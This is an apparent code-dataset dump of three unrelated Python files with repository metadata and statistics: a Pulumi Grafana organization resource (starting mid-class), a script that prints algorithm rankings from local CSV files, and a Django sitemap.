def __init__(__self__, resource_name, opts=None, admin_user=None, admins=None, create_users=None, editors=None, name=None, viewers=None, __props__=None, __name__=None, __opts__=None):
"""
The organization resource allows Grafana organizations and their membership to
be created and managed.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[list] admins: A list of email addresses corresponding to users who
should be given `admin` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
:param pulumi.Input[bool] create_users: Whether or not to create Grafana users specified
in the organization's membership if they don't already exist in Grafana. If
unspecified, this parameter defaults to `true`, creating placeholder users
with the `name`, `login`, and `email` set to the email of the user, and a
random password. Setting this option to `false` will cause an error to be
thrown for any users that do not already exist in Grafana.
:param pulumi.Input[list] editors: A list of email addresses corresponding to users who
should be given `editor` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
:param pulumi.Input[str] name: The display name for the Grafana organization created.
:param pulumi.Input[list] viewers: A list of email addresses corresponding to users who
should be given `viewer` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
> This content is derived from https://github.com/terraform-providers/terraform-provider-grafana/blob/master/website/docs/r/organization.html.markdown.
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = dict()
__props__['admin_user'] = admin_user
__props__['admins'] = admins
__props__['create_users'] = create_users
__props__['editors'] = editors
__props__['name'] = name
__props__['viewers'] = viewers
__props__['org_id'] = None
super(Organization, __self__).__init__(
'grafana:index/organization:Organization',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name, id, opts=None, admin_user=None, admins=None, create_users=None, editors=None, name=None, org_id=None, viewers=None):
"""
Get an existing Organization resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param str id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[list] admins: A list of email addresses corresponding to users who
should be given `admin` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
:param pulumi.Input[bool] create_users: Whether or not to create Grafana users specified
in the organization's membership if they don't already exist in Grafana. If
unspecified, this parameter defaults to `true`, creating placeholder users
with the `name`, `login`, and `email` set to the email of the user, and a
random password. Setting this option to `false` will cause an error to be
thrown for any users that do not already exist in Grafana.
:param pulumi.Input[list] editors: A list of email addresses corresponding to users who
should be given `editor` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
:param pulumi.Input[str] name: The display name for the Grafana organization created.
:param pulumi.Input[float] org_id: The organization id assigned to this organization by Grafana.
:param pulumi.Input[list] viewers: A list of email addresses corresponding to users who
should be given `viewer` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
> This content is derived from https://github.com/terraform-providers/terraform-provider-grafana/blob/master/website/docs/r/organization.html.markdown.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = dict()
__props__["admin_user"] = admin_user
__props__["admins"] = admins
__props__["create_users"] = create_users
__props__["editors"] = editors
__props__["name"] = name
__props__["org_id"] = org_id
__props__["viewers"] = viewers
return Organization(resource_name, opts=opts, __props__=__props__)
def translate_output_property(self, prop):
return tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
| 54.615894 | 187 | 0.680975 | 1,085 | 8,247 | 5.001843 | 0.165899 | 0.036484 | 0.038695 | 0.058043 | 0.718813 | 0.700018 | 0.691911 | 0.691911 | 0.670905 | 0.651741 | 0 | 0.000162 | 0.250637 | 8,247 | 150 | 188 | 54.98 | 0.877994 | 0.45556 | 0 | 0.033898 | 1 | 0 | 0.140028 | 0.013791 | 0 | 0 | 0 | 0 | 0 | 1 | 0.067797 | false | 0.016949 | 0.101695 | 0.033898 | 0.355932 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7a61a5f99ef1647f179b9b8ba21e03e5c3108ee4 | 875 | py | Python | stac/test_sort.py | amandaortega/stac | c4e126ff211e4256b19ccb4104c4ca86014c8edd | [
"BSD-2-Clause"
] | null | null | null | stac/test_sort.py | amandaortega/stac | c4e126ff211e4256b19ccb4104c4ca86014c8edd | [
"BSD-2-Clause"
] | null | null | null | stac/test_sort.py | amandaortega/stac | c4e126ff211e4256b19ccb4104c4ca86014c8edd | [
"BSD-2-Clause"
] | null | null | null | from sort_algorithms import sort_algorithms
def print_sort(database_path, alpha, header):
print(header)
[rankings, average, better, worse] = sort_algorithms(database_path, alpha)
print('Rankings: ', rankings, '\n')
print('Average: ', average, '\n')
print('#<: ', worse, '\n')
print('#>: ', better, '\n')
print()
print_sort('/home/amanda/Dropbox/trabalho/doutorado/testes/aplicacoes/vento/USA/resultados/geral/2/RMSE_complete.csv', 0.05, 'RMSE complete')
#print_sort('/home/amanda/Dropbox/trabalho/doutorado/testes/aplicacoes/vento/USA/resultados/geral/2/RMSE_test.csv', 0.05, 'RMSE test')
print_sort('/home/amanda/Dropbox/trabalho/doutorado/testes/aplicacoes/vento/USA/resultados/geral/2/rules_mean.csv', 0.05, 'Rules')
print_sort('/home/amanda/Dropbox/trabalho/doutorado/testes/aplicacoes/vento/USA/resultados/geral/2/time.csv', 0.05, 'Time') | 51.470588 | 141 | 0.733714 | 120 | 875 | 5.241667 | 0.3 | 0.071542 | 0.082671 | 0.120827 | 0.540541 | 0.540541 | 0.540541 | 0.540541 | 0.540541 | 0.540541 | 0 | 0.020075 | 0.089143 | 875 | 17 | 142 | 51.470588 | 0.769134 | 0.152 | 0 | 0 | 0 | 0.25 | 0.481132 | 0.404313 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.166667 | 0.833333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
7a8af1f00b23ee7ec14f2f6cc5bec1afdb6d0b35 | 286 | py | Python | team_app/sitemaps.py | dcopm999/initpy | 63e4452d7c3523bb3b38abdae8d685c7e0f54233 | [
"MIT"
] | null | null | null | team_app/sitemaps.py | dcopm999/initpy | 63e4452d7c3523bb3b38abdae8d685c7e0f54233 | [
"MIT"
] | 3 | 2019-07-29T05:33:39.000Z | 2022-01-13T01:24:41.000Z | team_app/sitemaps.py | dcopm999/initpy | 63e4452d7c3523bb3b38abdae8d685c7e0f54233 | [
"MIT"
] | 2 | 2019-07-12T04:12:20.000Z | 2019-07-29T04:34:04.000Z | from django.contrib.sitemaps import Sitemap
from django.shortcuts import reverse
class StaticViewSitemap(Sitemap):
changefreq = "weekly"
priority = 0.5
def items(self):
return ['team_app:index']
def location(self, item):
return reverse(item)
| 15.888889 | 43 | 0.671329 | 33 | 286 | 5.787879 | 0.727273 | 0.104712 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009217 | 0.241259 | 286 | 17 | 44 | 16.823529 | 0.870968 | 0 | 0 | 0 | 0 | 0 | 0.06993 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.222222 | 0.222222 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.